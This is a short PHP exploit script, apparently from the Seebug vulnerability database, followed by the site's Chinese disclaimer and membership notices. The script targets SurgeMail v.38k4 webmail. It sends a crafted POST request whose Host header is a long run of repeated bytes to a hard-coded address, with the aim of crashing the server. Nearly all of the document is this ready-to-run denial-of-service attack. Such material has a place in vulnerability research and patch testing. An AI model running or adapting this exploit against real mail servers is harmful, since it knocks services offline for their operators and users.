<?php /* SurgeMail v.38k4 webmail Host header denial of service exploit tested against the windows version rgod */ dl("php_curl.so"); $url = "http://192.168.0.1"; $puf=str_repeat(0xff,0xfff); $header ="POST / HTTP/1.0\r\n"; $header.="Host: $puf\r\n"; $header.="Connection: Close\r\n\r\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 0); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header); $data = curl_exec($ch); if (curl_errno($ch)) { print curl_error($ch)."\n"; } else { curl_close($ch); } ?>
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论